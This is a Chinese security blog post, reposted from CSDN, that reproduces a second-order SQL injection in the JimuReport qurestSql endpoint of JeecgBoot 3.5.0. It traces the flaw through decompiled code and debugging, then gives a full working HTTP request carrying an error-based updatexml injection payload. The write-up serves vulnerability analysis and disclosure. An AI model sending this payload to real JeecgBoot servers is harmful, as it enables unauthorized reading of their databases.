0


JeecgBootSql二次注入复现

版本为最新版本3.5.0 发布日期:2023-03-08

Poc地址:

https://github.com/J0hnWalker/jeecg-boot-sqli

复现过程

漏洞原理很简单,但是由于个人配置的原因环境搭建很慢,下图是搭建完成后的后台主页。当然前端搭不搭建无所谓

在这里插入图片描述

漏洞产生的地方来自于JeecgBoot后端的集成积木报表功能

来看漏洞产生直接原因,这个函数需要用post请求,请求的内容是json

@PostMapping({"/qurestSql"})publicResult<?>b(@RequestBodyJSONObject var1,HttpServletRequest var2){String var3 = var1.getString("apiSelectId");
    var1.remove("apiSelectId");JmReportDb var4 =this.reportDbService.getById(var3);List var5 =this.reportDbService.qurestechSql(var4, var1);this.jmReportDesignService.replaceDbCode(var4, var5);returnResult.OK(e.b(var5));}

那么对http://127.0.0.1:8080/jeecg-boot/jmreport/qurestSql构造post请求,请求头加入Content-Type: application/json

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"123456"
}

在idea中断下来进行调试,我们来看看这个函数的流程

在这里插入图片描述

var1是传进来的json,var2是包装的http请求

步过getString

在这里插入图片描述

var3取得了json里apiSelectId的value.

步过remove

在这里插入图片描述

remove后 var1变为空,apiSelectId被删除了

步过this.reportDbService.getById(var3);var4=null

步过qurestechSql;var5 =null

再步过replaceDbCode抛出异常然后返回response

现在再重新回过头从getById开始分析这些函数

找到getById的实现

publicJmReportDbgetById(String apiSelectId){returnthis.reportDbDao.get(apiSelectId);}

返回reportDbDao.get,参数是一个字符串,也就是apiSelectId的value,跟进get

@Sql("SELECT * FROM jimu_report_db WHERE ID = :id")JmReportDbget(@Param("id")String var1);

注解提示传入的参数是id,结合上面给出的sql语句说明这个函数根据变量id去查询jimu_report_db的所有内容,也就是说我们传入的参数是主键

可以先去看看这个表有什么东西

在这里插入图片描述

发现了有意思的东西,db_dyn_sql这个columns里存了很多的sql语句,这也是二次注入漏洞的原因,我们先尝试能不能通过getById拿到这些sql语句

前面的代码里,apiSelectId的键值会作为var3传入getById,我所以我们可以重新构造一下请求的json

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"1290104038414721025"
}

这里以poc里的id为例

在这里插入图片描述

传入我们要查询的id,步过后查看var4

在这里插入图片描述

通过getById返回的结果集var4,可以发现dbDynSql就是我们通过id找到的sql

步过qurestechSql

在这里插入图片描述

通过观察var5发现我们的Sql执行了,说明这个函数会去执行dbDynSql

在这里插入图片描述

验证一下发现查询的是id=1这条

可这个函数的参数有俩个,var4里有我们需要执行的sql,var1是干嘛的呢,从POC验证的结果推测应该是作为sql语句的参数id传入,有兴趣可以继续分析一下下面这个函数

publicList<Map<String,Object>>qurestechSql(JmReportDb jmReportDb,JSONObject paramObject){if(jmReportDb ==null){returnnull;}else{String var3 = jmReportDb.getDbDynSql();List var4 =this.dbParamDao.list(jmReportDb.getId());JSONObject var5 =newJSONObject();Iterator var6 = var4.iterator();while(var6.hasNext()){JmReportDbParam var7 =(JmReportDbParam)var6.next();if(g.d(var7.getParamValue())){
                var5.put(var7.getParamName(), var7.getParamValue());}}Map var11 = e.a(jmReportDb, paramObject);JSONObject var12 =(JSONObject)var11.get("shared_query_param");
        var5.putAll(paramObject);String var8 =this.jimuReportService.getDbSql(jmReportDb, var5, var12,newArrayList(),"");String var9 = e.e(var8);String var10 = jmReportDb.getDbSource();if(g.d(var9)){returnthis.jmreportDynamicDbUtil.a(var10, var9);}elseif(this.jmReportDbSourceService.isNoSql(var10)){returnthis.jmreportNoSqlService.findList(var8, var10);}elseif(g.c(jmReportDb.getDbSource())){returnthis.reportDbDao.selectListBySql(var8);}else{returnthis.jmreportDynamicDbUtil.b(jmReportDb.getDbSource(), var8,newObject[0]);}}}

最后形成poc,

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json;charset=UTF-8

{
"apiSelectId":"1290104038414721025",
"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"
}

var1 remove后只剩下恶意的payload

在这里插入图片描述

报错注入的结果

在这里插入图片描述

标签: java web安全

本文转载自: https://blog.csdn.net/weixin_45803562/article/details/129734783
版权归原作者 weixin_45803562 所有, 如有侵权,请联系我们删除。

“JeecgBootSql二次注入复现”的评论:

还没有评论